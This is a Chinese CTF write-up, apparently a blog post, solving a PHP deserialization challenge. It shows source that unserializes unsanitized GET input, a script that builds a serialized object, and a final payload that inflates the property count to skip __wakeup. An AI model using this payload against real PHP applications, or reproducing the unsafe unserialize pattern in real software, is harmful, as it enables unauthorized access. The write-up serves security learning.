[极客大挑战 2019]PHP

发布时间 2023-10-31 13:22:48作者: imtaieee

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。
image.png
index.php 中,关键代码如下:

<?php
  include 'class.php';
  $select = $_GET['select'];
  $res=unserialize(@$select); // 反序列化
?>

接下来分析一下 class.php 文件。可以看到,class.php 文件先会调用 __wakeup() 函数,将反序列化后的 $username 赋值为 $guest,但题目仅在反序列化后的 $usernameadmin,并且 $password100 时才打印 flag, 那么,就需要跳过反序列化时执行 __wakeup 魔术方法。这里引入 PHP 陈旧的 CVE 漏洞,即:当序列化的字符串中表示对象属性个数的值大于真实的属性个数时,会跳过 __wakeup() 魔术方法的执行。

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

  	// __wakeup 魔术方法,在反序列化后调用。
    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
      	// 需要 $password 变量为 100
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
      	// 如果 $username 变量为 admin,则输出 flag
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

构造一个类,将 $username 变量赋值为 admin$password 变量赋值为 100,进行序列化,即:

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}

$name = new Name();
$name_serialize = serialize($name);

$fp = fopen("serialize.txt","a");
fwrite($fp,$name_serialize);
fclose($fp);

?>

// 生成内容如下(注意,这里在 “Name” 左右为 NULL 字符,需要自行修改为 %00)
// O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
// 即
// O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将生成的序列化字符串中的表示对象属性个数的值 +1,以此跳过 __wakeup() 函数的执行。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最终 Payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}